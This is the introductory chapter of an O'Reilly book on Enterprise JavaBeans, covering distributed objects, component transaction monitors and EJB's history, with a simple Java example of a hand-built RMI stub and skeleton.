It is assumed that you're already familiar with Java; if you're not, Exploring Java™ by Patrick Niemeyer and Josh Peck is an excellent introduction. This book also assumes that you're conversant in the JDBC API, or at least SQL. If you're not familiar with JDBC, see Database Programming with JDBC™ and Java™, by George Reese.

One of Java's most important features is platform independence. Since it was first released, Java has been marketed as "write once, run anywhere." While the hype has gotten a little heavy-handed at times, code written with Sun's Java programming language is remarkably platform independent. Enterprise JavaBeans isn't just platform independent--it's also implementation independent. If you've worked with JDBC, you know a little about what this means. Not only can the JDBC API run on a Windows machine or on a Unix machine, it can also access any vendor's relational database that has a JDBC driver. You don't have to code to a particular database implementation; just change drivers and you change databases. It's the same with Enterprise JavaBeans. Ideally, an Enterprise JavaBeans component, an enterprise bean, can run in any application server that implements the Enterprise JavaBeans (EJB) specification.[1] This means that you can develop and deploy your EJB business system in one server, such as IBM's WebSphere, and later move it to a different EJB server, such as BEA's WebLogic or Gemstone/J. Implementation independence means that your business components are not dependent on the brand of server, which means there are more options before you begin development, during development, and after deployment.

[1] Provided that the bean components and EJB servers comply with the specification and no proprietary functionality is used in development.

1.1. Setting the Stage

Before defining Enterprise JavaBeans more precisely, let's set the stage by discussing a number of important concepts: distributed objects, business objects, and component transaction monitors.

1.1.1. Distributed Objects

Distributed computing allows a business system to be more accessible. Distributed systems allow parts of the system to be located on separate computers, possibly in many different locations, where they make the most sense. In other words, distributed computing allows business logic and data to be reached from remote locations. Customers, business partners, and other remote parties can use a business system at any time from almost anywhere. The most recent development in distributed computing is distributed objects. Distributed object technologies such as Java RMI, CORBA, and Microsoft's DCOM allow objects running on one machine to be used by client applications on different computers.

Distributed objects evolved from a legacy form of three-tier architecture, which is used in TP monitor systems such as IBM's CICS or BEA's TUXEDO. These systems separate the presentation, business logic, and database into three distinct tiers (or layers). In the past, these legacy systems were usually composed of a "green screen" or dumb terminals for the presentation tier (first tier), COBOL or PL/1 applications on the middle tier (second tier), and some sort of database, such as DB2, as the backend (third tier). The introduction of distributed objects in recent years has given rise to a new form of three-tier architecture. Distributed object technologies make it possible to replace the procedural COBOL and PL/1 applications on the middle tier with business objects. A three-tier distributed business object architecture might have a sophisticated graphical user interface (GUI), business objects on the middle tier, and a relational or some other database on the backend. More complex architectures are often used in which there are many tiers: different objects reside on different servers and interact to get the job done. Creating these n -tier architectures with Enterprise JavaBeans is particularly easy.

1.1.2. Server-Side Components

Object-oriented languages, such as Java, C++, and Smalltalk, are used to write software that is flexible, extensible, and reusable--the three axioms of object-oriented development. In business systems, object-oriented languages are used to improve development of GUIs, to simplify access to data, and to encapsulate the business logic. The encapsulation of business logic into business objects has become the most recent focus in the information technology industry. Business is fluid, which means that a business's products, processes, and objectives evolve over time. If the software that models the business can be encapsulated into business objects, it can become flexible, extensible, and reusable, and therefore evolve as the business evolves.

A server-side component model defines an architecture for developing distributed business objects. They combine the accessibility of distributed object systems with the fluidity of objectified business logic. Server-side component models are used on the middle-tier application servers, which manage the components at runtime and make them available to remote clients. They provide a baseline of functionality that makes it easy to develop distributed business objects and assemble them into business solutions.

Server-side components, like other components, can be bought and sold as independent pieces of executable software. They conform to a standard component model and can be executed without direct modification in a server that supports that component model. Server-side component models often support attribute-based programming, which allows the runtime behavior of the component to be modified when it is deployed, without having to change the programming code in the component. Depending on the component model, the server administrator can declare a server-side component's transactional, security, and even persistence behavior by setting these attributes to specific values.

As new products are developed and operating procedures change, server-side components can be reassembled, changed, and extended so that the business system reflects those changes. Imagine a business system as a collection of server-side components that model concepts like customers, products, reservations, and warehouses. Each component is like a Lego block that can be combined with other components to build a business solution. Products can be stored in the warehouse or delivered to a customer; a customer can make a reservation or purchase a product. You can assemble components, take them apart, use them in different combinations, and change their definitions. A business system based on server-side components is fluid because it is objectified, and it is accessible because the components can be distributed.

1.1.3. Component Transaction Monitors

A new breed of software called application servershas recently evolved to manage the complexities associated with developing business systems in today's Internet world. An application server is often made up of some combination of several different technologies, including web servers, ORBs, MOM (message-oriented middleware), databases, and so forth. An application server can also focus on one technology, such as distributed objects. The type of application server this book is concerned with is based on a distributed object technology such as CORBA, Java RMI, or DCOM. Application servers that are based on distributed objects vary in sophistication. The simplest facilitate connectivity between the client applications and the distributed objects and are called object request brokers (ORBs). ORBs allow client applications to locate and use distributed objects easily. ORBs, however, have frequently proven to be inadequate in high-volume transactional environments. ORBs provide a communication backbone for distributed objects, but they fail to provide the kind of robust infrastructure that is needed to handle larger user populations and mission-critical work. In addition, ORBs provide a fairly crude server-side component model that places the burden of handling transactions, concurrency, persistence, and other system-level considerations on the shoulders of the application developer. These services are not automatically supported in an ORB. Application developers must explicitly access these services (if they are available) or, in some cases, develop them from scratch.

Early in 1999, Anne Thomas of the Patricia Seybold Group coined the term component transaction monitor (CTM) to describe the most sophisticated distributed object application servers. CTMs evolved as a hybrid of traditional TP monitors and ORB technologies. They implement robust server-side component models that make it easier for developers to create, use, and deploy business systems. CTMs provide an infrastructure that can automatically manage transactions, object distribution, concurrency, security, persistence, and resource management. They are capable of handling huge user populations and mission-critical work, but also provide value to smaller systems because they are easy to use. CTMs are the ultimate application server. Other terms for this kind of technology include object transaction monitor (OTM), component transaction server, distributed component server, COMware, and so forth. This book uses the term "component transaction monitor" because it embraces the three key characteristics of this technology: the use of a component model, the focus on transactional management, and the resource and service management typically associated with monitors.

Previous | Home | Next
0.7. Acknowledgments | Book Index | 1.2. Enterprise JavaBeans: Defined
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Enterprised JavaBeans: Defined (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

1.2. Enterprise JavaBeans: Defined

Sun Microsystems' definition of Enterprise JavaBeans is:

The Enterprise JavaBeans architecture is a component architecture for the development and deployment of component-based distributed business applications. Applications written using the Enterprise JavaBeans architecture are scalable, transactional, and multi-user secure. These applications may be written once, and then deployed on any server platform that supports the Enterprise JavaBeans specification.[2]

[2]Sun Microsystems' Enterprise JavaBeans™ Specification, v1.1, Copyright 1999 by Sun Microsystems, Inc.

Wow! Now that's a mouthful and not atypical of how Sun defines many of its Java technologies--have you ever read the definition of the Java language itself? It's about twice as long. This book offers a shorter definition:

Enterprise JavaBeans is a standard server-side component model for component transaction monitors.

We have already set the stage for this definition by briefly defining the terms distributed objects, server-side components, and component transaction monitors. To provide you with a complete and solid foundation for learning about Enterprise JavaBeans, this chapter will now expand on these definitions.

Previous | Home | Next
1.1. Setting the Stage | Book Index | 1.3. Distributed Object Architectures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Distributed Object Architectures (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

1.3. Distributed Object Architectures

EJB is a component model for component transaction monitors, which are based on distributed object technologies. Therefore, to understand EJB you need to understand how distributed objects work. Distributed object systems are the foundation for modern three-tier architectures. In a three-tier architecture, as shown in Figure 1-1, the presentation logic resides on the client (first tier), the business logic on the middle tier (second tier), and other resources, such as the database, reside on the backend (third tier).

Figure 1-1. Three-tier architecture

All distributed object protocols are built on the same basic architecture, which is designed to make an object on one computer look like it's residing on a different computer. Distributed object architectures are based on a network communication layer that is really very simple. Essentially, there are three parts to this architecture: the object server, the skeleton, and the stub.

The object server is the business object that resides on the middle tier. The term "server" can be a little confusing, but for our purposes the object on the middle tier can be called the "object server" to distinguish it from its counterparts, the stub and skeleton. The object server is an instance of an object with its own unique state. Every object server class has matching stub and skeleton classes built specifically for that type of object server. So, for example, a distributed business object called Person would have matching Person_Stub and Person_Skeleton classes. As shown in Figure 1-2, the object server and skeleton reside on the middle tier, and the stub resides on the client.

The stub and the skeleton are responsible for making the object server, which lives on the middle tier, look as if it is running locally on the client machine. This is accomplished through some kind of remote method invocation (RMI) protocol. An RMI protocol is used to communicate method invocations over a network. CORBA, Java RMI, and Microsoft DCOM all use their own RMI protocol.[3] Every instance of the object server on the middle tier is wrapped by an instance of its matching skeleton class. The skeleton is set up on a port and IP address and listens for requests from the stub. The stub resides on the client machine and is connected via the network to the skeleton. The stub acts as the object server's surrogate on the client and is responsible for communicating requests from the client to the object server through the skeleton. Figure 1-2 illustrates the process of communicating a method invocation from the client to the server object and back. The stub and the skeleton hide the communication specifics of the RMI protocol from the client and the implementation class, respectively.

[3] The acronym RMI isn't specific to Java RMI; it was in use long before Java came along. This section uses RMI to describe distributed object protocols in general. Java RMI is the Java language version of a distributed object protocol.

Figure 1-2. RMI loop

The stub implements an interface with the same business methods as the object itself, but the stub's methods do not contain business logic. Instead, the business methods on the stub implement whatever networking operations are required to forward the request to the object server and receive the results. When a client invokes a business method on the stub, the request is communicated over the network by streaming the name of the method invoked, and the values passed in as parameters, to the skeleton. When the skeleton receives the incoming stream, it parses the stream to discover which method is requested, and then invokes the corresponding business method on the object server. Any value that is returned from the method invoked on the object server is streamed back to the stub by the skeleton. The stub then returns the value to the client application as if it had processed the business logic locally.

1.3.1. Rolling Your Own Distributed Object

The best way to illustrate how distributed objects work is to show how you can implement a distributed object yourself, with your own distributed object protocol. This will give you some appreciation for what a true distributed object protocol like CORBA does. Actual distributed object systems such as DCOM, CORBA, and Java RMI are, however, much more complex and robust than the simple example we will develop here. The distributed object system we develop in this chapter is only illustrative; it is not a real technology, nor is it part of Enterprise JavaBeans. The purpose is to provide you with some understanding of how a more sophisticated distributed object system works.

Here's a very simple distributed object called PersonServer that implements the Person interface. The Person interface captures the concept of a person business object. It has two business methods: getAge() and getName(). In a real application, we would probably define many more behaviors for the Person business object, but two methods are enough for this example:

public interface Person {
    public int getAge() throws Throwable;
    public String getName() throws Throwable;
}

The implementation of this interface, PersonServer, doesn't contain anything at all surprising. It defines the business logic and state for a Person:

public class PersonServer implements Person {
    int age;
    String name;

    public PersonServer(String name, int age){
        this.age = age;
        this.name = name;
    }
    public int getAge(){
        return age;
    }
    public String getName(){
        return name;
    }
}

Now we need some way to make the PersonServer available to a remote client. That's the job of the Person_Skeleton and Person_Stub. The Person interface describes the concept of a person independent of implementation. Both the PersonServer and the Person_Stub implement the Person interface because they are both expected to support the concept of a person. The PersonServer implements the interface to provide the actual business logic and state; the Person_Stub implements the interface so that it can look like a Person business object on the client and relay requests back to the skeleton, which in turn sends them to the object itself. Here's what the stub looks like:

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.net.Socket;

public class Person_Stub implements Person {
    Socket socket;

    public Person_Stub() throws Throwable {
       // Create a network connection to the skeleton.
       // Replace "myhost" with your own IP Address of your computer.
       socket = new Socket("myhost",9000);
    }
    public int getAge() throws Throwable {
       // When this method is invoked, stream the method name to the
       // skeleton.
       ObjectOutputStream outStream =
           new ObjectOutputStream(socket.getOutputStream());
       outStream.writeObject("age");
       outStream.flush();
       ObjectInputStream inStream =
           new ObjectInputStream(socket.getInputStream());
       return inStream.readInt();
    }
    public String getName() throws Throwable {
        // When this method is invoked, stream the method name to the
        // skeleton.
        ObjectOutputStream outStream =
            new ObjectOutputStream(socket.getOutputStream());
        outStream.writeObject("name");
        outStream.flush();
        ObjectInputStream inStream =
            new ObjectInputStream(socket.getInputStream());
        return (String)inStream.readObject();
    }
}

When a method is invoked on the Person_Stub, a String token is created and streamed to the skeleton. The token identifies the method that was invoked on the stub. The skeleton parses the method-identifying token, invokes the corresponding method on the object server, and streams back the result. When the stub reads the reply from the skeleton, it parses the value and returns it to the client. From the client's perspective, the stub processed the request locally. Now let's look at the skeleton:

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.net.Socket;
import java.net.ServerSocket;

public class Person_Skeleton extends Thread {
    PersonServer myServer;

    public Person_Skeleton(PersonServer server){
        // Get a reference to the object server that this skeleton wraps.
        this.myServer = server;
    }
    public void run(){
      try {
        // Create a server socket on port 9000.
        ServerSocket serverSocket = new ServerSocket(9000);
        // Wait for and obtain a socket connection from stub.
        Socket socket = serverSocket.accept();
        while (socket != null){
            // Create an input stream to receive requests from stub.
            ObjectInputStream inStream =
                new ObjectInputStream(socket.getInputStream());
            // Read next method request from stub. Block until request is
            // sent.
            String method = (String)inStream.readObject();
            // Evaluate the type of method requested.
            if (method.equals("age")){
                // Invoke business method on server object.
                int age = myServer.getAge();
                // Create an output stream to send return values back to
                // stub.
                ObjectOutputStream outStream =
                    new ObjectOutputStream(socket.getOutputStream());
                // Send results back to stub.
                outStream.writeInt(age);
                outStream.flush();
            } else if(method.equals("name")){
                // Invoke business method on server object.
                String name = myServer.getName();
                // Create an output stream to send return values back to
                // the stub.
                ObjectOutputStream outStream =
                    new ObjectOutputStream(socket.getOutputStream());
                // Send results back to stub.
                outStream.writeObject(name);
                outStream.flush();
            }
        }
      } catch(Throwable t) {t.printStackTrace();System.exit(0); }
    }
    public static void main(String args [] ){
        // Obtain a unique instance Person.
        PersonServer person = new PersonServer("Richard", 34);
        Person_Skeleton skel = new Person_Skeleton(person);
        skel.start();
    }
}

The Person_Skeleton routes requests received from the stub to the object server, PersonServer. Essentially, the Person_Skeleton spends all its time waiting for the stub to stream it a request. Once a request is received, it is parsed and delegated to the corresponding method on the PersonServer. The return value from the object server is then streamed back to the stub, which returns it as if it was processed locally.

Now that we've created all the machinery, let's look at a simple client that makes use of the Person:

public class PersonClient {
    public static void main(String [] args){
        try {
            Person person = new Person_Stub();
            int age = person.getAge();
            String name = person.getName();
            System.out.println(name+" is "+age+" years old");
        } catch(Throwable t) {t.printStackTrace();}
    }
}

This client application shows how the stub is used on the client. Except for the instantiation of the Person_Stub at the beginning, the client is unaware that the Person business object is actually a network proxy to the real business object on the middle tier. In Figure 1-3, the RMI loop diagram is changed to represent the RMI process as applied to our code.

Figure 1-3. RMI Loop with Person business object

As you examine Figure 1-3, notice how the RMI loop was implemented by our distributed Person object. RMI is the basis of distributed object systems and is responsible for making distributed objects location transparent. Location transparency means that a server object's actual location--usually on the middle tier--is unknown and unimportant to the client using it. In this example, the client could be located on the same machine or on a different machine very far away, but the client's interaction with the business object is the same. One of the biggest benefits of distributed object systems is location transparency. Although transparency is beneficial, you cannot treat distributed objects as local objects in your design because of the performance differences. This book will provide you with good distributed object design strategies that take advantage of transparency while maximizing the distributed system's performance.

When this book talks about the stub on the client, we will often refer to it as a remote reference to the object server. This allows us to talk more directly about the object server and its representation on the client.

Distributed object protocols such as CORBA, DCOM, and Java RMI provide a lot more infrastructure for distributed objects than the Person example. Most implementations of distributed object protocols provide utilities that automatically generate the appropriate stubs and skeletons for object servers. This eliminates custom development of these constructs and allows a lot more functionality to be included in the stub and skeleton.

Even with automatic generation of stubs and skeletons, the Person example hardly scratches the surface of a sophisticated distributed object protocol. Real world protocols like Java RMI and CORBA IIOP provide error and exception handling, parameter passing, and other services like the passing of transaction and security context. In addition, distributed object protocols support much more sophisticated mechanisms for connecting the stub to the skeleton; the direct stub-to-skeleton connection in the Person example is fairly primitive.

Real distributed object protocols, like CORBA, also provide an Object Request Broker (ORB), which allows clients to locate and communicate with distributed objects across the network. ORBs are the communication backbone, the switchboard, for distributed objects. In addition to handling communications, ORBs generally use a naming system for locating objects and many other features such as reference passing, distributed garbage collection, and resource management. However, ORBs are limited to facilitating communication between clients and distributed object servers. While they may support services like transaction management and security, use of these services is not automatic. With ORBs, most of the responsibility for creating system-level functionality or incorporating services falls on the shoulders of the application developer.

Previous | Home | Next
1.2. Enterprise JavaBeans: Defined | Book Index | 1.4. Component Models
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Component Models (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

1.4. Component Models

The term "component model" has many different interpretations. Enterprise JavaBeans specifies a server-side component model. Using a set of classes and interfaces from the javax.ejb packages, developers can create, assemble, and deploy components that conform to the EJB specification.

The original JavaBeans™, the java.beans package in the core Java API, is also a component model, but it's not a server-side component model like EJB. In fact, other than sharing the name "JavaBeans," these two component models are completely unrelated. A lot of the literature has referred to EJB as an extension of the original JavaBeans, but this is a misrepresentation. Other than the shared name, and the fact that they are both Java component models, the two APIs serve very different purposes. EJB does not extend or use the original JavaBeans component model.

The original JavaBeans (the java.beans package) is intended to be used for intraprocess purposes, while EJB (the javax.ejb package) is designed to be used for interprocess components. In other words, the original JavaBeans was not intended for distributed components. JavaBeans can be used to solve a variety of problems, but is primarily used to build clients by assembling visual (GUI) and nonvisual widgets. It's an excellent component model, possibly the best component model for intraprocess development ever devised, but it's not a server-side component model. EJB is designed to address issues involved with managing distributed business objects in a three-tier architecture.

Given that JavaBeans and Enterprise JavaBeans are completely different, why are they both called component models? In this context, a component model defines a set of interfaces and classes in the form of Java packages that must be used in a particular way to isolate and encapsulate a set of functionality. Once a component is defined, it becomes an independent piece of software that can be distributed and used in other applications. A component is developed for a specific purpose but not a specific application. In the original JavaBeans, a component might be a push button or spreadsheet that can be used in any GUI application according to the rules specified in the original JavaBeans component model. In EJB, a component might be a customer business object that can be deployed in any EJB server and used to develop any business application that needs a customer business object.

Previous | Home | Next
1.3. Distributed Object Architectures | Book Index | 1.5. Component Transaction Monitors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Component Transaction Monitors (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

1.5. Component Transaction Monitors

The CTM industry grew out of both the ORB and the transaction processing monitor (TP monitor) industries. The CTM is really a hybrid of these two technologies that provides a powerful, robust distributed object platform. To better understand what a CTM is, we will examine the strengths and weakness of TP monitors and ORBs.

1.5.1. TP Monitors

Transaction processing monitors have been evolving for about 30 years (CICS was introduced in 1968) and have become powerful, high-speed server platforms for mission-critical applications. Some TP products like CICS and TUXEDO may be familiar to you. TP monitors are operating systems for business systems whose applications are written in languages like COBOL. It may seem strange to call a TP monitor an "operating system," but because they control an application's entire environment, it's a fitting description. TP monitor systems automatically manage the entire environment that a business system runs in, including transactions, resource management, and fault tolerance. The business logic in TP monitors is made up of procedural applications that are often accessed through network messaging or remote procedure calls (RPC), which are ancestors of RMI. Messaging allows a client to send a message directly to a TP monitor requesting that some application be run with certain parameters. It's similar in concept to the Java event model. Messaging can be synchronous or asynchronous, meaning that the sender may or may not be required to wait for a response. RPC is a distributed mechanism that allows clients to invoke procedures on applications in a TP monitor as if the procedure was executed locally. The primary difference between RPC and RMI is that RPC is used for procedure -based applications and RMI is used for distributed object systems. With RMI, methods can be invoked on a specific object identity, a specific business entity. In RPC, a client can call procedures on a specific type of application, but there is no concept of object identity. RMI is object oriented; RPC is procedural.

TP monitors have been around for a long time, so the technology behind them is as solid as a rock; that is why they are used in many mission-critical systems today. But TP monitors are not object oriented. Instead, they work with procedural code that can perform complex tasks but has no sense of identity. Accessing a TP monitor through RPC is like executing static methods; there's no such thing as a unique object. In addition, because TP monitors are based on procedural applications, and not objects, the business logic in a TP monitor is not as flexible, extensible, or reusable as business objects in a distributed object system.

1.5.2. Object Request Brokers

Distributed objects allow unique objects that have state and identity to be distributed across a network so that they can be accessed by other systems. Distributed object technologies like CORBA and Java RMI grew out of RPC with one significant difference: when you invoke a distributed object method, it's on an object instance, not an application procedure. Distributed objects are usually deployed on some kind of ORB, which is responsible for helping client applications find distributed objects easily.

ORBs, however, do not define an "operating system" for distributed objects. They are simply communications backbones that are used to access and interact with unique remote objects. When you develop a distributed object application using an ORB, all the responsibility for concurrency, transactions, resource management, and fault tolerance falls on your shoulders. These services may be available and implemented in an ORB, but the application developer is responsible for incorporating them into the business objects. In an ORB, there is no concept of an "operating system," where system-level functionality is handled automatically. The lack of implicit system-level infrastructure places an enormous burden on the application developer. Developing the infrastructure required to handle concurrency, transactions, security, persistence, and everything else needed to support large user populations is a Herculean task that few corporate development teams are equipped to accomplish.

1.5.3. CTMs: The Hybrid of ORBs and TP Monitors

As the advantages of distributed objects became apparent, the number of systems deployed using ORBs increased very quickly. ORBs support distributed objects by employing a somewhat crude server-side component model that allows distributed objects to be connected to a communication backbone, but don't implicitly support transactions, security, persistence, and resource management. These services must be explicitly accessed through APIs by the distributed object, resulting in more complexity and, frequently, more development problems. In addition, resource management strategies such as instance swapping, resource pooling, and activation may not be supported at all. These types of strategies make it possible for a distributed object system to scale, improving performance and throughput and reducing latency. Without automatic support for resource management, application developers must implement homegrown resource management solutions, which requires a very sophisticated understanding of distributed object systems. ORBs fail to address the complexities of managing a component in a high-volume, mission-critical environment, an area where TP monitors have always excelled.

With three decades of TP monitor experience, it wasn't long before companies like IBM and BEA began developing a hybrid of ORBs and TP monitor systems, which we refer to as component transaction monitors. These types of application servers combine the fluidity and accessibility of distributed object systems based on ORBs with the robust "operating system" of a TP monitor. CTMs provide a comprehensive environment for server-side components by managing concurrency, transactions, object distribution, load balancing, security, and resource management automatically. While application developers still need to be aware of these facilities, they don't have to explicitly implement them when using a CTM.

The basic features of a CTM are distributed objects, an infrastructure that includes transaction management and other services, and a server-side component model. CTMs support these features in varying degrees; choosing the most robust and feature-rich CTM is not always as critical as choosing one that best meets your needs. Very large and robust CTMs can be enormously expensive and may be overkill for smaller projects. CTMs have come out of several different industries, including the relational database industry, the application server industry, the web server industry, the CORBA ORB industry, and the TP monitor industry. Each vendor offers products that reflect their particular area of expertise. However, when you're getting started, choosing a CTM that supports the Enterprise JavaBeans component model may be much more important than any particular feature set. Because Enterprise JavaBeans is implementation independent, choosing an EJB CTM provides the business system with the flexibility to scale to larger CTMs as needed. We will discuss the importance of EJB as a standard component model for CTMs later in this chapter.

1.5.4. Analogies to Relational Databases

This chapter spent a lot of time talking about CTMs because they are essential to the definition of EJB. The discussion of CTMs is not over, but to make things as clear as possible before proceeding, we will use relational databases as an analogy for CTMs.

Relational databases provide a simple development environment for application developers, in combination with a robust infrastructure for data. As an application developer using a relational database, you might design the table layouts, decide which columns are primary keys, and define indexes and stored procedures, but you don't develop the indexing algorithm, the SQL parser, or the cursor management system. These types of system-level functionality are left to the database vendor; you simply choose the product that best fits your needs. Application developers are concerned with how business data is organized, not how the database engine works. It would be waste of resources for an application developer to write a relational database from scratch when vendors like Microsoft, Oracle, and others already provide them.

Distributed business objects, if they are to be effective, require the same system-level management from CTMs as business data requires from relational databases. System-level functionality like concurrency, transaction management, and resource management is necessary if the business system is going to be used for large user populations or mission-critical work. It is unrealistic and wasteful to expect application developers to reinvent this system-level functionality when commercial solutions already exist.

CTMs are to business objects what relational databases are to data. CTMs handle all the system-level functionality, allowing the application developer to focus on the business problems. With a CTM, application developers can focus on the design and development of the business objects without having to waste thousands of hours developing the infrastructure that the business objects operate in.

Previous | Home | Next
1.4. Component Models | Book Index | 1.6. CTMs and Server-Side Component Models
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CTMs and Server-Side Component Models (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

1.6. CTMs and Server-Side Component Models

CTMs require that business objects adhere to the server-side component model implemented by the vendor. A good component model is critical to the success of a development project because it defines how easily an application developer can write business objects for the CTM. The component model is a contract that defines the responsibilities of the CTM and the business objects. With a good component model, a developer knows what to expect from the CTM and the CTM understands how to manage the business object. Server-side component models are great at describing the responsibilities of the application developer and CTM vendor.

Server-side component models are based on a specification. As long as the component adheres to the specification, it can be used by the CTM. The relationship between the server-side component and the CTM is like the relationship between a CD-ROM and a CD player. As long as the component (CD-ROM) adheres to the player's specifications, you can play it.

A CTM's relationship with its component model is also similar to the relationship the railway system has with trains. The railway system manages the train's environment, providing alternate routes for load balancing, multiple tracks for concurrency, and a traffic control system for managing resources. The railway provides the infrastructure that trains run on. Similarly, a CTM provides server-side components with the entire infrastructure needed to support concurrency, transactions, load balancing, etc.

Trains on the railway are like server-side components: they all perform different tasks but they do so using the same basic design. The train, like a server-side component, focuses on performing a task, such as moving cars, not managing the environment. For the engineer, the person driving the train, the interface for controlling the train is fairly simple: a brake and throttle. For the application developer, the interface to the server-side component is similarly limited.

Different CTMs may implement different component models, just as different railways have different kinds of trains. The differences between the component models vary, like railway systems having different track widths and different controls, but the fundamental operations of CTMs are the same. They all ensure that business objects are managed so that they can support large populations of users in mission-critical situations. This means that resources, concurrency, transactions, security, persistence, load balancing, and distribution of objects can be handled automatically, limiting the application developer to a simple interface. This allows the application developer to focus on the business logic instead of the enterprise infrastructure.

1.6.1. MTS

Microsoft was one of the first vendors to ship a CTM, the Microsoft Transaction Server (MTS). MTS uses a server-side component model and a distributed component service based on DCOM. When MTS was introduced in 1996, it was exciting because it provided a very comprehensive environment for business objects. With MTS, application developers can write COM (Common Object Model) components without worrying about system-level concerns. Once a business object is designed to conform to the COM model, MTS will take care of everything else, including transaction management, concurrency, resource management--everything! MTS makes it simple for application developers. If they want to influence how a business object interacts with system-level services, they use property sheets. It's like setting properties of a GUI widget in Visual Basic: just bring up the property sheet and choose the transactional context, the security attributes, the name binding, and other properties from a list box or from some other GUI widget. Once the business objects are deployed in MTS, their remote interfaces can be assembled like building blocks into business solutions.

Although the features provided by MTS are great and its application developer API is very simple, as an open standard, MTS falls short. MTS is Microsoft's proprietary CTM, which means that using it binds you to the Microsoft platform. This may not be so bad, because MTS and DCOM work well, and the Microsoft platform is pervasive. If, however, your company is expected to deploy on a non-Microsoft platform or to non-Microsoft clients, MTS is not a viable solution. In addition, MTS only supports stateless components; it doesn't support persistent objects. Although stateless components can offer higher performance, business systems need the kind of flexibility offered by CTMs that include stateful and persistent components.

1.6.2. EJB and CORBA CTMs

Until the fall of 1997, non-Microsoft CTMs were pretty much nonexistent. Promising products from IBM, BEA, and Hitachi were on the drawing board, while MTS was already on the market. Although the non-MTS designs were only designs, they all had one thing in common: they all used CORBA as a distributed object service.

Most non-Microsoft CTMs were focused on the more open standard of CORBA so that they could be deployed on non-Microsoft platforms and support non-Microsoft clients. CORBA is both language and platform independent, so CORBA CTM vendors could provide their customers with more implementation options. The problem with CORBA CTM designs was that they all had different server-side component models. In other words, if you developed a component for one vendor's CTM, you couldn't turn around and use that same component in another vendor's CTM. The component models were too different.

With Microsoft's MTS far in the lead (it had already been around a year), CORBA-based CTM vendors needed a competitive advantage. One problem CTMs faced was a fragmented CORBA market where each vendor's product was different from the next. A fragmented market wouldn't benefit anyone, so the CORBA CTM vendors needed a standard to rally around. Besides the CORBA protocol, the most obvious standard needed was a component model, which would allow clients and third-party vendors to develop their business objects to one specification that would work in any CORBA CTM. Microsoft was, of course, pushing their component model as a standard--which was attractive because MTS was an actual working product--but Microsoft didn't support CORBA. The OMG (Object Management Group), the same people who developed the CORBA standard, were defining a server-side component model. This held promise because it was sure to be tailored to CORBA, but the OMG was slow in developing a standard--at least too slow for the evolving CTM market.

In 1997, Sun Microsystems was developing the most promising standard for server-side components called Enterprise JavaBeans. Sun offered some key advantages. First, Sun was respected and was known for working with vendors to define the best solutions possible. Sun had a habit of adopting the best ideas in the industry and then making the Java implementation an open standard--usually successfully. The Java database connectivity API, called JDBC, was a perfect example. Based largely on Microsoft's own ODBC, JDBC offered vendors a more flexible model for plugging in their own database access drivers. In addition, developers found the JDBC API much easier to work with. Sun was doing the same thing in its newer technologies like the JavaMail™ API and the Java Naming and Directory Interface ( JNDI). These technologies were still being defined, but the collaboration among vendors was encouraging and the openness of the APIs was attractive.Although CORBA offered an open standard, it attempted to standardize very low-level facilities like security and transactions. Vendors could not justify rewriting existing products such as TUXEDO and CICS to the CORBA standards. EJB got around that problem by saying it doesn't matter how you implement the low-level services; all that matters is all the facilities be applied to the components according to the specification--a much more palatable solution for existing and prospective CTM vendors. In addition, the Java language offered some pretty enticing advantages, not all of them purely technical. First, Java was a hot and sexy technology and simply making your product Java-compatible seemed to boost your exposure in the market. Java also offered some very attractive technical benefits. Java was more or less platform independent. A component model defined in the Java language would have definite marketing and technical benefits.

As it turned out, Sun had not been idle after it announced Enterprise JavaBeans. Sun's engineers had been working with several leading vendors to define a flexible and open standard to which vendors could easily adapt their existing products. This was a tall order because vendors had different kinds of servers including web servers, database servers, relational database servers, application servers, and early CTMs. It's likely that no one wanted to sacrifice their architecture for the common good, but eventually the vendors agreed on a model that was flexible enough to accommodate different implementations yet solid enough to support real mission-critical development. In December of 1997, Sun Microsystems released the first draft specification of Enterprise JavaBeans and vendors have been flocking to the server-side component model ever since.

1.6.3. Benefits of a Standard Server-Side Component Model

So what does it mean to be a standard server-side component model? Quite simply, it means that you can develop business objects using the Enterprise JavaBeans (EJB) component model and expect them to work in any CTM that supports the complete EJB specification. This is a pretty powerful statement because it largely eliminates the biggest problem faced by potential customers of CORBA-based CTM products: fear of vendor "lock-in." With a standard server-side component model, customers can commit to using an EJB-compliant CTM with the knowledge that they can migrate to a better CTM if one becomes available. Obviously, care must be taken when using proprietary extensions developed by vendors, but this is nothing new. Even in relational database industry--which has been using the SQL standard for a couple of decades--optional proprietary extensions abound.

Having a standard server-side component model has benefits beyond implementation independence. A standard component model provides a vehicle for growth in the third-party products. If numerous vendors support EJB, then creating add-on products and component libraries is more attractive to software vendors. The IT industry has seen this type of cottage industry grow up around other standards like SQL, where hundreds of add-on products can be purchased to enhance business systems whose data is stored in SQL-compliant relational databases. Report generating tools and data warehouse products are typical examples. The GUI component industry has seen the growth of its own third-party products. A healthy market for component libraries already exists for GUI component models like Microsoft's ActiveX and Sun's original JavaBeans component models.

Similarly, Enterprise JavaBeans will benefit from third-party products. It is likely that ERP systems and business object frameworks based on EJB will thrive. As an example, IBM's San Francisco business object framework is migrating to the EJB component model. We will also see cottage industries grow up around EJB. Add-on products that provide services to EJB-compliant systems like credit card processing, legacy database access, and other business services will be introduced. These types of products will make development of EJB systems simpler and faster than the alternatives, making the EJB component model attractive to corporate IS and server vendors alike. It is also likely that a small market for prepackaged EJB components will also develop.

Previous | Home | Next
1.5. Component Transaction Monitors | Book Index | 1.7. Titan Cruises: An Imaginary Business
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Titan Cruises: An Imaginary Business (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

1.7. Titan Cruises: An Imaginary Business

